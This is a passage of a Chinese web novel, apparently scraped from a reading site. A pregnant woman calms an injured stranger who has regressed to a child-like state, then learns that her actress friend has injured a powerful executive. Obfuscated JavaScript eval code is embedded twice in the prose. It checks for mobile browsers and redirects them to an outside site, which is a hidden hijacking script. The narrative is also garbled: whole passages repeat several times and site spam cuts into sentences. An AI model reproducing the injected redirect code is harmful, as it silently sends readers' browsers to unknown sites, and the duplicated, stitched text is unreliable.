这个看起来年纪甚至可能比陆京洲还要大一些的英俊男人,他的智力……好像不太正常? 至少,此刻他的行为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885892|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举止更像一个懵懂受伤的孩子。 “别、别哭……”岑予衿手足无措,另一只没被抓住的手抬起,犹豫了一下,轻轻拍了拍他那只紧握着自己的手背,试图安抚,“没事了,你现在在医院,很安全,没有人打你了。医生马上就来,给你看看就不疼了,好吗?” 她的声音温柔,带着明显的哄劝意味。 可男人似乎听不懂,或者完全沉浸在自己的恐惧和疼痛里,只是哭得更凶了,一边哭一边含糊地重复,“姐姐……别丢下我……我怕……疼……” 尽量放柔声音,怕刺激到他,“感觉怎么样?有没有哪里特别不舒服?我、我去叫医生……” 她的话没说完,就看见那双漂亮的眼睛里,迅速积聚起水汽,然后,大颗大颗的眼泪毫无征兆地滚落下来,顺着苍白的脸颊滑入鬓角,瞬间就打湿了枕头。 不是默默流泪,而是……毫无形象、撕心裂肺般的痛哭。 “呜……哇……”他像个受了天大委屈又无处诉说的孩子,嘴巴一扁,眼泪决堤,喉咙里发出压抑不住的、破碎的呜咽和嚎啕。 他的身体因为哭泣而剧烈颤抖,牵扯到伤口,脸上瞬间露出痛苦的神色,可即便如此,他抓着她手腕的手也没松开,哭声反而更大了,充满了绝望和依赖。 “疼……好疼……姐姐……我好疼啊……”他一边哭,一边含糊不清地喊着,声音沙哑得厉害,带着浓重的鼻音。 他的眼神没有焦距,哭得满脸是泪,表情是一种近乎稚气的、不加掩饰的委屈和恐惧。那神态,那言语,完全不像一个正常的、心智成熟的成年人。 岑予衿彻底愣住了,手腕上的冰凉触感和耳边震耳欲聋的哭声让她脑中一片空白。 她看着他哭得撕心裂肺、上气不接下气的样子,看着他因为疼痛和恐惧而扭曲的俊脸…… 这个看起来年纪甚至可能比陆京洲还要大一些的英俊男人,他的智力……好像不太正常? 至少,此刻他的行为举止更像一个懵懂受伤的孩子。 “别、别哭……”岑予衿手足无措,另一只没被抓住的手抬起,犹豫了一下,轻轻拍了拍他那只紧握着自己的手背,试图安抚,“没事了,你现在在医院,很安全,没有人打你了。医生马上就来,给你看看就不疼了,好吗?” 她的声音温柔,带着明显的哄劝意味。 可男人似乎听不懂,或者完全沉浸在自己的恐惧和疼痛里,只是哭得更凶了,一边哭一边含糊地重复,“姐姐……别丢下我……我怕……疼……” 尽量放柔声音,怕刺激到他,“感觉怎么样?有没有哪里特别不舒服?我、我去叫医生……” 她的话没说完,就看见那双漂亮的眼睛里,迅速积聚起水汽,然后,大颗大颗的眼泪毫无征兆地滚落下来,顺着苍白的脸颊滑入鬓角,瞬间就打湿了枕头。 不是默默流泪,而是……毫无形象、撕心裂肺般的痛哭。 “呜……哇……”他像个受了天大委屈又无处诉说的孩子,嘴巴一扁,眼泪决堤,喉咙里发出压抑不住的、破碎的呜咽和嚎啕。 他的身体因为哭泣而剧烈颤抖,牵扯到伤口,脸上瞬间露出痛苦的神色,可即便如此,他抓着她手腕的手也没松开,哭声反而更大了,充满了绝望和依赖。 “疼……好疼……姐姐……我好疼啊……”他一边哭,一边含糊不清地喊着,声音沙哑得厉害,带着浓重的鼻音。 他的眼神没有焦距,哭得满脸是泪,表情是一种近乎稚气的、不加掩饰的委屈和恐惧。那神态,那言语,完全不像一个正常的、心智成熟的成年人。 岑予衿彻底愣住了,手腕上的冰凉触感和耳边震耳欲聋的哭声让她脑中一片空白。 她看着他哭得撕心裂肺、上气不接下气的样子,看着他因为疼痛和恐惧而扭曲的俊脸…… 这个看起来年纪甚至可能比陆京洲还要大一些的英俊男人,他的智力……好像不太正常? 至少,此刻他的行为举止更像一个懵懂受伤的孩子。 “别、别哭……”岑予衿手足无措,另一只没被抓住的手抬起,犹豫了一下,轻轻拍了拍他那只紧握着自己的手背,试图安抚,“没事了,你现在在医院,很安全,没有人打你了。医生马上就来,给你看看就不疼了,好吗?” 她的声音温柔,带着明显的哄劝意味。 可男人似乎听不懂,或者完全沉浸在自己的恐惧和疼痛里,只是哭得更凶了,一边哭一边含糊地重复,“姐姐……别丢下我……我怕……疼……” 尽量放柔声音,怕刺激到他,“感觉怎么样?有没有哪里特别不舒服?我、我去叫医生……” 她的话没说完,就看见那双漂亮的眼睛里,迅速积聚起水汽,然后,大颗大颗的眼泪毫无征兆地滚落下来,顺着苍白的脸颊滑入鬓角,瞬间就打湿了枕头。 不是默默流泪,而是……毫无形象、撕心裂肺般的痛哭。 “呜……哇……”他像个受了天大委屈又无处诉说的孩子,嘴巴一扁,眼泪决堤,喉咙里发出压抑不住的、破碎的呜咽和嚎啕。 他的身体因为哭泣而剧烈颤抖,牵扯到伤口,脸上瞬间露出痛苦的神色,可即便如此,他抓着她手腕的手也没松开,哭声反而更大了,充满了绝望和依赖。 “疼……好疼……姐姐……我好疼啊……”他一边哭,一边含糊不清地喊着,声音沙哑得厉害,带着浓重的鼻音。 他的眼神没有焦距,哭得满脸是泪,表情是一种近乎稚气的、不加掩饰的委屈和恐惧。那神态,那言语,完全不像一个正常的、心智成熟的成年人。 岑予衿彻底愣住了,手腕上的冰凉触感和耳边震耳欲聋的哭声让她脑中一片空白。 她看着他哭得撕心裂肺、上气不接下气的样子,看着他因为疼痛和恐惧而扭曲的俊脸…… 这个看起来年纪甚至可能比陆京洲还要大一些的英俊男人,他的智力……好像不太正常? 至少,此刻他的行为举止更像一个懵懂受伤的孩子。 “别、别哭……”岑予衿手足无措,另一只没被抓住的手抬起,犹豫了一下,轻轻拍了拍他那只紧握着自己的手背,试图安抚,“没事了,你现在在医院,很安全,没有人打你了。医生马上就来,给你看看就不疼了,好吗?” 她的声音温柔,带着明显的哄劝意味。 可男人似乎听不懂,或者完全沉浸在自己的恐惧和疼痛里,只是哭得更凶了,一边哭一边含糊地重复,“姐姐……别丢下我……我怕……疼……” 第160章 烫手的山芋怎么处理? 他哭得浑身都在抖,攥着她的手指却像铁钳一样,执拗地不肯松开。 眼泪混着额头渗出的冷汗,濡湿了额发和枕巾,那张过分英俊的脸庞此刻因痛苦和稚气的无助而扭曲,呈现出一种极具冲击力的脆弱感。 岑予衿的心跳被他这举动打乱了节奏。 第一次遇见这种事情……压根不知道该怎么处理。 她不敢再用力挣脱,怕刺激到他,也怕扯动他身上的伤。 门外传来急促的脚步声,是保镖带着护士和闻讯赶来的主治医生冲了进来。 “怎么回事?!”主治医生快步上前,看到清醒的病人和被抓着的岑予衿,也是一愣。 “他醒了,突然抓住我,然后就……”岑予衿有些无措地解释,手腕上的冰冷触感和男人持续的痛哭声让她心乱如麻。 医生迅速反应过来,一边检查监测仪器,一边试图靠近病床,“先生?你能听到我说话吗?感觉哪里疼?能不能先放开这位女士?” 他的声音温和而专业。 然而,病床上的男人对医生的靠近表现出极大的恐惧和抗拒。 他哭声一顿,随即更加尖锐,身体猛地向后缩,却因动作牵动伤口而痛得脸色煞白,唯一不变的,是死死抓着岑予衿手腕的那只手,甚至抓得更紧,仿佛那是惊涛骇浪中唯一的浮木。 “走开!走开!姐姐……姐姐救我!”他惊恐地瞪大眼睛,视线越过医生,死死锁在岑予衿脸上,泪水涟涟,满是哀求。 医生和护士交换了一个凝重的眼神。 医生示意大家稍退,尽量不去刺激病人,然后压低声音对岑予衿说,“陆太太,他现在的认知状态可能出现了严重问题。脑部受创可能导致多种后遗症,包括意识混乱、记忆障碍、行为退行……他目前的表现,很像受到了巨大刺激后的创伤性应激反应,并且认知水平暂时退回到了幼童阶段,或者出现了类似解离的状态。他对您似乎产生了强烈的依赖。” 应该是因为他昏迷之前见到的最后一个人是她,醒来见到的第一个人又是她,所以才会这样。 岑予衿听着,目光落在男人那双盛满泪水、只有恐惧和依赖的眼睛里,心头沉甸甸的。 这比单纯的昏迷不醒,似乎更加棘手。 “那……现在怎么办?”她问,手腕已经有些麻木了。 “我们先尝试用一些温和的镇定药物,缓解他的情绪和疼痛。但他的身体还很虚弱,需要评估后才能确定用药方案。 目前看来,您的存 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 在对他有安抚作用,如果可以……能否请您暂时配合一下,安抚住他?我们才好进行下一步检查和处理。医生语气带着恳切和无奈。 显然现在暴力挣脱或强行镇静对现在的病人来说风险不小。 岑予衿看着男人那张惨白的、写满无助的脸,想到他是因自己而卷入这场无妄之灾,想到那句微弱的“救救我,拒绝的话怎么也说不出口。 主要……这个人莫名还有点小帅! 他身上总有一种很熟悉的感觉,但又不知道到底哪熟悉。 她深吸一口气,点了点头,选择了配合医生。 她尽量放松自己被抓住的手臂,忍着不适,微微倾身,用更轻柔的声音对他说,“你看,医生叔叔和护士小姐姐是来帮你的,让你不那么疼。我们不怕,好不好?我在这里,不会丢下你的。 她重复着之前哄劝的话,语调平缓,带着一种她自己都未曾察觉的耐心。 她从来没有用这种语气跟这么大的大孩儿说过话。 自己都要崩溃了。 也许是她的声音起到了作用,也许是药物开始起效,男人的哭声渐渐低了下去,变成断续的抽噎。 身体也不再那么剧烈地颤抖,但眼睛依然一眨不眨地盯着她,手也丝毫没有松开的意思,只是力道稍微放松了些。 护士趁机上前,动作极其迅速地为他注射了镇静和止痛的药物。 医生也得以初步检查了他的瞳孔反应和基本生命体征。 “暂时稳定了,医生松了口气,对岑予衿低声道,“但他这种状态需要神经内科和康复科介入详细评估。陆太太,您恐怕还得再坚持一会儿,等药效完全上来,他睡过去再说。 岑予衿只能应下。她僵立在床边,任由男人抓着她的手,看着他眼里的惊惶慢慢被药力带来的困倦取代。 长长的睫毛上还挂着泪珠,一颤一颤的,最终缓缓阖上。 直到他的呼吸变得均匀绵长,抓住她的手终于无力地松脱,滑落在床单上,岑予衿才如释重负地后退一步,轻轻活动着已经僵硬发红的手腕。 “他大概会睡几个小时,医生记录着数据,“我们会尽快安排联合会诊。另外,关于他的身份…… 医生摇了摇头,“警察那边暂时还是没有消息。他现在的状况,也无法提供任何线索。 岑予衿看着床上沉沉睡去、眉宇间仍残留着一丝不安的陌生男人,一种更加沉重的责任感压了下来。 救人是出于本能和愧疚,可现在,人 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 救活了,却成了一个心智受损、无依无靠的大宝宝,还莫名对她产生了雏鸟般的依赖。 她该怎么处理这个烫手山芋? 离开医院时,天色已近黄昏。岑予衿坐进车里,疲惫地揉了揉眉心。 手腕上似乎还残留着那种冰冷而用力的触感,耳边仿佛还能听到那撕心裂肺的哭声。 岑予衿莫名抖了抖,浑身都起鸡皮疙瘩…… 配合医生治疗……有点不知道该怎么配合。 陆京洲到底什么时候能回来呀? 他再不回来,她要去国外找他了。 哎~愁**了。 经过那件事情之后,她已经不敢再开车了。 车门轻轻关上,隔绝了医院消毒水的气味和冬日的寒风。 岑予衿靠在后座柔软的皮质座椅上,终于能舒一口气,疲惫地闭上眼睛。 司机老陈平稳地发动了车子,驶入傍晚的车流中。 车内温暖安静,只有引擎的低鸣和座椅加热带来的细微暖意。 她需要暂时忘掉那双盛满泪水的眼睛和手腕上残留的触感。 宝宝在肚子里轻轻动了一下,仿佛在提醒她为了这个小生命也要保持平静。 然而,刚驶出两个路口,包里的手机就尖锐地震动起来,打破了这份短暂的宁静。 岑予衿蹙眉拿出手机,屏幕上跳动着宝儿言言四个字。 她的大明星又怎么了? 刚接通,苏乐言熟悉的声音就噼里啪啦砸了过来,带着明显的焦躁和理直气壮,“衿衿!快!立刻!马上!来城西分局捞我!” 岑予衿太阳穴突突一跳,彻底没了休息的心思,“言言?你又怎么了?怎么跑警察局去了?” 她下意识坐直身体,心里掠过一丝不祥的预感。 “我把人给揍了!”苏乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你现在对方什么态度?严重吗?”岑予衿问,心里已经开始盘算怎么处理。 “对方嚷嚷着要验伤,要起诉我故意伤害,要让我上头条身败名裂!”苏乐言又气又急,“衿衿,你知道我现在经不起这种**……而且那老男人眼神特恶心,我怕……” 岑予衿皱眉,娱乐圈的事情她不太清楚,但也不是一点人脉都没有,“你别担心,我让谢司喻过来一趟。” 谢司喻?! 这名字怎么那么耳熟? “哪个……哪谢司喻?”苏乐言紧张的咽了咽口水,声音听起来有些古怪。 “还能有哪个谢司喻,京城最大娱乐公司的执行总裁,谢家大少爷谢司喻!” “京城有几个谢司喻?你说的那个谢司喻和周时越是什么关系呀?” “我知道的就只有一个,他们以前是好兄弟……” 谢司喻还是岑予衿通过周时越认识的。 苏乐言一把按住了她的手腕,“别……别,不用打电话了。” 岑予衿眉头皱的更紧了,“怎么了?你认识他?” 苏乐言那表情都要哭了,“我不知道是不是你说的那个,如果是那个的话……他……他……也在医院。” 岑予衿都蒙了,她这话是什么意思? “不是……言言,今天晚上你到底打了多少个人进医院?” 第161章 打了谢司喻 “就、就那一个啊!我真没想碰别人!”苏乐言急得脸颊泛白,手指无意识地绞着衣角,语速快得几乎连不成句。 “我泼酒推的那个老男人姓张,就是个暴发户土老板,跟谢司喻八竿子打不着!可是……可是谁能想到……那个包厢门就那么巧开着……” 岑予衿看着闺蜜慌乱失措的模样,心里那根弦绷得更紧了,声音却尽量维持着平稳,引导她往下说,“包厢门开着?然后呢?你看到谢司喻了?” “嗯……”苏乐言重重地点头,像是回忆起什么不堪的画面,睫毛颤抖得厉害,“我被张总和那个狗腿子经纪人堵在走廊里,他们嘴里不干不净,动手动脚,我恶心得要命,又挣不开,余光瞥见旁边有个包厢门没关严,就想先躲进去……结果一退进去,里面一桌子人齐刷刷看过来……” 她咽了口唾沫,声音干涩,“正对着门的主位上,坐着的就是谢司喻和周时越。旁边还有几个眼熟的,都是圈里有头有脸的人物。” 岑予衿的心猛地往下一坠。 在最狼狈的时刻,撞进这样一群人的视线里,对向来骄傲的苏乐言来说,无疑是雪上加霜。 “我当时脑子里一片空白,又羞又气,觉得难堪极了。” 苏乐言捂住了半边脸,声音从指缝里漏出来,带着压抑的哽咽,“张总那混蛋还不依不饶想跟进来拉我,我手里正好攥着刚才没喝完的半杯酒,想也没想,回头就朝他泼了过去!我想让他滚,想让所有人都别看我了!” 她深吸一口气,肩膀微微发抖,“可他、他躲了一下……那杯酒,一大半,全泼在……全泼在刚好站起身的谢司喻胸前了。白的衬衫,深色的酒渍,特别明显……” 岑予衿能想象出那个画面,混乱、狼狈,且充满戏剧性的冲突。 谢司喻那样的人,在重要的商务场合,被兜头泼了一身酒…… “他当时什么反应?”岑予衿追问,声音不自觉地压低。 “他脸色瞬间就沉下来了,像是结了层冰。” 苏乐言回忆着,身体不自觉地瑟缩了一下,“他没立刻发火,甚至没看自己身上的酒渍,就那么看着我,眼神……特别沉,特别冷。桌上其他人都愣住了,没人敢出声。张总和他经纪人更是吓得脸都白了,连连鞠躬道歉,说‘谢总对不起,这丫头不懂事’之类的屁话。” “然后呢?”岑予衿预感到接下来的发展恐怕更糟。 “然后……我也不知道怎么了,大概是看到他旁边周时越那个死渣男,让人火大,又或 者是被张总那些话刺激到了,觉得在他们眼里我就是个可以随意拿捏的‘丫头’……” 苏乐言的声音里充满了懊悔和后怕,“我看他好像要开口说什么,可能是让张总他们滚,也可能是问我……但我当时脑子一热,根本不想听!我觉得他们都是一丘之貉!我转身就想跑,结果脚下不知道绊到了什么,可能是地毯卷边,也可能是谁的脚……我整个人失去平衡往后倒!” 她猛地抓住岑予衿的手腕,力道大得惊人,“谢司喻就站在我斜后方,他、他好像下意识伸手想扶我一把……可我对周时越恨之入骨,再加上看他们俩关系不错。 那时候根本分不清是敌是友,只觉得所有靠近我的人都恶心!我胡乱挥手想打开他,好像……好像真的推到他了……他可能也没料到我会这样,没站稳,踉跄着往后……” 苏乐言说不下去了,眼泪大颗大颗滚落下来,声音破碎,“旁边就是那个厚重的黄铜装饰架,边缘特别锋利……他撞上去了,我听见好闷的一声响……然后、然后血就从他额角流下来了,好多……他晃了一下,扶着桌子才没倒下去,但脸色白得吓人…… 周围一下子炸开了锅,有人喊医生,有人打电话叫救护车……周时越冲过来扶住他,看我的眼神……我从来没见他那么冷过……我、我真的吓傻了,推开人群就往外跑……” 岑予衿听完,只觉得一股寒气从脚底窜起。 这已经不是简单的冲突或误伤,而是在情绪彻底失控下,对试图提供帮助的人,造成了严重到见血的伤害。 尤其这个人还是谢司喻。 “谢司喻……他当场就晕过去了?”岑予衿稳住心神,抓住关键问。 “好像……没有完全晕,但意识不太清了,流了很多血。” 苏乐言哭得上气不接下气,“他们把他和张总一起抬上救护车了……张总只是额头擦破点皮,一直在哼哼唧唧。警察后来跟我说,谢司喻的伤……初步判断可能更严重,要等详细检查。” 岑予衿闭了闭眼。 麻烦,天大的麻烦。 谢司喻的身份,以及她和周时越的关系,都决定了这件事绝不可能轻易善了。 这已经不单单是苏乐言个人冲动的问题,很可能演变成好几个家族的利益关系。 “中心医院?”岑予衿确认道,大脑飞速运转,思考着应对策略。 “嗯,警察是这么说的。”苏乐言像抓住救命稻草一样紧紧攥着岑予衿的手,指尖冰凉透骨,“衿衿,我不是故意的……我真的 不是故意要伤他那么重……我当时就是气疯了,又害怕,我……” 她语无伦次,显然被可能发生的后果吓坏了。 “我知道,我知道你不是故意的。”岑予衿用力回握她的手,试图传递一丝温暖和镇定。 “但现在说这些没用。当务之急是弄清楚谢司喻的具体伤情,以及他和他那边人的态度。张总那种人,无非是想要钱要面子,给足了就能打发。但谢司喻这里……” 她停顿了一下,眉宇间笼罩着浓重的忧虑,“恐怕没那么简单。他本身就不是好相与的人,这次又在众目睽睽之下……我们先处理眼前。” 她话音刚落,一个穿着制服的**便朝她们走了过来,手里拿着记录本,表情公事公办,“苏乐言小姐?” “我是。”苏乐言慌忙擦了下眼泪,站起身。 “关于你和张富贵先生之间的肢体冲突**,经过调解,张先生同意接受你的当面道歉,并赔偿其全部医疗费、误工费及精神损失抚慰金共计五十万元,双方就此和解,不再追究彼此其他责任。这是调解协议书,你看一下,没问题的话签字确认。” **将一份文件递过来。 苏乐言接过,看都没怎么看,就在岑予衿的示意下签了字。 能用钱解决张总这个麻烦,已经是目前最好的结果。 “另外,”**收起协议书,语气严肃了些,“关于谢司喻先生受伤一事,因涉及伤情鉴定及当事人陈述,目前尚不能定性。你需要保持手机二十四小时畅通,随时配合我们进一步的调查问询。在事情明朗之前,不得离开本市。明白吗?” “明白,明白,我一定配合。”苏乐言连连点头。 **交代完便离开了。 岑予衿看着苏乐言惊魂未定的样子,叹了口气,“张总这边算暂时了结了。你听话,先跟小杨回去,好好睡一觉,什么都别想,也别再出门。手机开着,等我消息。” “不行,衿衿,我得跟你一起去医院!” 苏乐言抓住她的胳膊,眼神里满是愧疚和固执,“祸是我闯的,我不能让你一个人去面对谢司喻和周时越……他们、他们要是为难你怎么办?” “你现在去,才是真的为难我,也是为难你自己。” 岑予衿按住她的肩膀,语气不容置疑,“谢司喻正在气头上,周时越恐怕也不会给你好脸色。你去了,除了让场面更难堪,刺激得谢司喻更愤怒,没有任何用处。甚至可能被蹲守的媒体拍到,把事情闹得更大,更不可收拾。你是艺人,要懂得避嫌。” 她看向一旁焦急等待的助理小杨,“小杨,带乐言回去,看好她。别让她看手机,别让她上网,更别让她出门。如果……如果有任何媒体试图联系,一律说‘无可奉告’,或者直接联系公司的公关部门,虽然她现在没公司,但可以用我的名义,找相熟的律师或公关顾问先应付着。” 小杨赶紧点头,“陆太太放心,我一定看好乐言姐。” 好不容易劝住苏乐言,看着她被小杨搀扶着,一步三回头地离开警局,岑予衿才长长舒了一口气,但那口气堵在胸口,并没有消散。 她揉了揉胀痛的太阳穴,对一直安静等候在旁的老陈道,“陈叔,去中心医院。” 不是故意要伤他那么重……我当时就是气疯了,又害怕,我……” 她语无伦次,显然被可能发生的后果吓坏了。 “我知道,我知道你不是故意的。”岑予衿用力回握她的手,试图传递一丝温暖和镇定。 “但现在说这些没用。当务之急是弄清楚谢司喻的具体伤情,以及他和他那边人的态度。张总那种人,无非是想要钱要面子,给足了就能打发。但谢司喻这里……” 她停顿了一下,眉宇间笼罩着浓重的忧虑,“恐怕没那么简单。他本身就不是好相与的人,这次又在众目睽睽之下……我们先处理眼前。” 她话音刚落,一个穿着制服的**便朝她们走了过来,手里拿着记录本,表情公事公办,“苏乐言小姐?” “我是。”苏乐言慌忙擦了下眼泪,站起身。 “关于你和张富贵先生之间的肢体冲突**,经过调解,张先生同意接受你的当面道歉,并赔偿其全部医疗费、误工费及精神损失抚慰金共计五十万元,双方就此和解,不再追究彼此其他责任。这是调解协议书,你看一下,没问题的话签字确认。” **将一份文件递过来。 苏乐言接过,看都没怎么看,就在岑予衿的示意下签了字。 能用钱解决张总这个麻烦,已经是目前最好的结果。 “另外,”**收起协议书,语气严肃了些,“关于谢司喻先生受伤一事,因涉及伤情鉴定及当事人陈述,目前尚不能定性。你需要保持手机二十四小时畅通,随时配合我们进一步的调查问询。在事情明朗之前,不得离开本市。明白吗?” “明白,明白,我一定配合。”苏乐言连连点头。 **交代完便离开了。 岑予衿看着苏乐言惊魂未定的样子,叹了口气,“张总这边算暂时了结了。你听话,先跟小杨回去,好好睡一觉,什么都别想,也别再出门。手机开着,等我消息。” “不行,衿衿,我得跟你一起去医院!” 苏乐言抓住她的胳膊,眼神里满是愧疚和固执,“祸是我闯的,我不能让你一个人去面对谢司喻和周时越……他们、他们要是为难你怎么办?” “你现在去,才是真的为难我,也是为难你自己。” 岑予衿按住她的肩膀,语气不容置疑,“谢司喻正在气头上,周时越恐怕也不会给你好脸色。你去了,除了让场面更难堪,刺激得谢司喻更愤怒,没有任何用处。甚至可能被蹲守的媒体拍到,把事情闹得更大,更不可收拾。你是艺人,要懂得避嫌。” 她看向一旁焦急等待的助理小杨,“小杨,带乐言回去,看好她。别让她看手机,别让她上网,更别让她出门。如果……如果有任何媒体试图联系,一律说‘无可奉告’,或者直接联系公司的公关部门,虽然她现在没公司,但可以用我的名义,找相熟的律师或公关顾问先应付着。” 小杨赶紧点头,“陆太太放心,我一定看好乐言姐。” 好不容易劝住苏乐言,看着她被小杨搀扶着,一步三回头地离开警局,岑予衿才长长舒了一口气,但那口气堵在胸口,并没有消散。 她揉了揉胀痛的太阳穴,对一直安静等候在旁的老陈道,“陈叔,去中心医院。” 不是故意要伤他那么重……我当时就是气疯了,又害怕,我……” 她语无伦次,显然被可能发生的后果吓坏了。 “我知道,我知道你不是故意的。”岑予衿用力回握她的手,试图传递一丝温暖和镇定。 “但现在说这些没用。当务之急是弄清楚谢司喻的具体伤情,以及他和他那边人的态度。张总那种人,无非是想要钱要面子,给足了就能打发。但谢司喻这里……” 她停顿了一下,眉宇间笼罩着浓重的忧虑,“恐怕没那么简单。他本身就不是好相与的人,这次又在众目睽睽之下……我们先处理眼前。” 她话音刚落,一个穿着制服的**便朝她们走了过来,手里拿着记录本,表情公事公办,“苏乐言小姐?” “我是。”苏乐言慌忙擦了下眼泪,站起身。 “关于你和张富贵先生之间的肢体冲突**,经过调解,张先生同意接受你的当面道歉,并赔偿其全部医疗费、误工费及精神损失抚慰金共计五十万元,双方就此和解,不再追究彼此其他责任。这是调解协议书,你看一下,没问题的话签字确认。” **将一份文件递过来。 苏乐言接过,看都没怎么看,就在岑予衿的示意下签了字。 能用钱解决张总这个麻烦,已经是目前最好的结果。 “另外,”**收起协议书,语气严肃了些,“关于谢司喻先生受伤一事,因涉及伤情鉴定及当事人陈述,目前尚不能定性。你需要保持手机二十四小时畅通,随时配合我们进一步的调查问询。在事情明朗之前,不得离开本市。明白吗?” “明白,明白,我一定配合。”苏乐言连连点头。 **交代完便离开了。 岑予衿看着苏乐言惊魂未定的样子,叹了口气,“张总这边算暂时了结了。你听话,先跟小杨回去,好好睡一觉,什么都别想,也别再出门。手机开着,等我消息。” “不行,衿衿,我得跟你一起去医院!” 苏乐言抓住她的胳膊,眼神里满是愧疚和固执,“祸是我闯的,我不能让你一个人去面对谢司喻和周时越……他们、他们要是为难你怎么办?” “你现在去,才是真的为难我,也是为难你自己。” 岑予衿按住她的肩膀,语气不容置疑,“谢司喻正在气头上,周时越恐怕也不会给你好脸色。你去了,除了让场面更难堪,刺激得谢司喻更愤怒,没有任何用处。甚至可能被蹲守的媒体拍到,把事情闹得更大,更不可收拾。你是艺人,要懂得避嫌。” 她看向一旁焦急等待的助理小杨,“小杨,带乐言回去,看好她。别让她看手机,别让她上网,更别让她出门。如果……如果有任何媒体试图联系,一律说‘无可奉告’,或者直接联系公司的公关部门,虽然她现在没公司,但可以用我的名义,找相熟的律师或公关顾问先应付着。” 小杨赶紧点头,“陆太太放心,我一定看好乐言姐。” 好不容易劝住苏乐言,看着她被小杨搀扶着,一步三回头地离开警局,岑予衿才长长舒了一口气,但那口气堵在胸口,并没有消散。 她揉了揉胀痛的太阳穴,对一直安静等候在旁的老陈道,“陈叔,去中心医院。” 不是故意要伤他那么重……我当时就是气疯了,又害怕,我……” 她语无伦次,显然被可能发生的后果吓坏了。 “我知道,我知道你不是故意的。”岑予衿用力回握她的手,试图传递一丝温暖和镇定。 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“关于你和张富贵先生之间的肢体冲突**,经过调解,张先生同意接受你的当面道歉,并赔偿其全部医疗费、误工费及精神损失抚慰金共计五十万元,双方就此和解,不再追究彼此其他责任。这是调解协议书,你看一下,没问题的话签字确认。” **将一份文件递过来。 苏乐言接过,看都没怎么看,就在岑予衿的示意下签了字。 能用钱解决张总这个麻烦,已经是目前最好的结果。 “另外,”**收起协议书,语气严肃了些,“关于谢司喻先生受伤一事,因涉及伤情鉴定及当事人陈述,目前尚不能定性。你需要保持手机二十四小时畅通,随时配合我们进一步的调查问询。在事情明朗之前,不得离开本市。明白吗?” “明白,明白,我一定配合。”苏乐言连连点头。 **交代完便离开了。 岑予衿看着苏乐言惊魂未定的样子,叹了口气,“张总这边算暂时了结了。你听话,先跟小杨回去,好好睡一觉,什么都别想,也别再出门。手机开着,等我消息。” “不行,衿衿,我得跟你一起去医院!” 苏乐言抓住她的胳膊,眼神里满是愧疚和固执,“祸是我闯的,我不能让你一个人去面对谢司喻和周时越……他们、他们要是为难你怎么办?” “你现在去,才是真的为难我,也是为难你自己。” 岑予衿按住她的肩膀,语气不容置疑,“谢司喻正在气头上,周时越恐怕也不会给你好脸色。你去了,除了让场面更难堪,刺激得谢司喻更愤怒,没有任何用处。甚至可能被蹲守的媒体拍到,把事情闹得更大,更不可收拾。你是艺人,要懂得避嫌。” 她看向一旁焦急等待的助理小杨,“小杨,带乐言回去,看好她。别让她看手机,别让她上网,更别让她出门。如果……如果有任何媒体试图联系,一律说‘无可奉告’,或者直接联系公司的公关部门,虽然她现在没公司,但可以用我的名义,找相熟的律师或公关顾问先应付着。” 小杨赶紧点头,“陆太太放心,我一定看好乐言姐。” 好不容易劝住苏乐言,看着她被小杨搀扶着,一步三回头地离开警局,岑予衿才长长舒了一口气,但那口气堵在胸口,并没有消散。 她揉了揉胀痛的太阳穴,对一直安静等候在旁的老陈道,“陈叔,去中心医院。” 不是故意要伤他那么重……我当时就是气疯了,又害怕,我……” 她语无伦次,显然被可能发生的后果吓坏了。 “我知道,我知道你不是故意的。”岑予衿用力回握她的手,试图传递一丝温暖和镇定。 “但现在说这些没用。当务之急是弄清楚谢司喻的具体伤情,以及他和他那边人的态度。张总那种人,无非是想要钱要面子,给足了就能打发。但谢司喻这里……” 她停顿了一下,眉宇间笼罩着浓重的忧虑,“恐怕没那么简单。他本身就不是好相与的人,这次又在众目睽睽之下……我们先处理眼前。” 她话音刚落,一个穿着制服的**便朝她们走了过来,手里拿着记录本,表情公事公办,“苏乐言小姐?” “我是。”苏乐言慌忙擦了下眼泪,站起身。 “关于你和张富贵先生之间的肢体冲突**,经过调解,张先生同意接受你的当面道歉,并赔偿其全部医疗费、误工费及精神损失抚慰金共计五十万元,双方就此和解,不再追究彼此其他责任。这是调解协议书,你看一下,没问题的话签字确认。” **将一份文件递过来。 苏乐言接过,看都没怎么看,就在岑予衿的示意下签了字。 能用钱解决张总这个麻烦,已经是目前最好的结果。 “另外,”**收起协议书,语气严肃了些,“关于谢司喻先生受伤一事,因涉及伤情鉴定及当事人陈述,目前尚不能定性。你需要保持手机二十四小时畅通,随时配合我们进一步的调查问询。在事情明朗之前,不得离开本市。明白吗?” “明白,明白,我一定配合。”苏乐言连连点头。 **交代完便离开了。 岑予衿看着苏乐言惊魂未定的样子,叹了口气,“张总这边算暂时了结了。你听话,先跟小杨回去,好好睡一觉,什么都别想,也别再出门。手机开着,等我消息。” “不行,衿衿,我得跟你一起去医院!” 苏乐言抓住她的胳膊,眼神里满是愧疚和固执,“祸是我闯的,我不能让你一个人去面对谢司喻和周时越……他们、他们要是为难你怎么办?” “你现在去,才是真的为难我,也是为难你自己。” 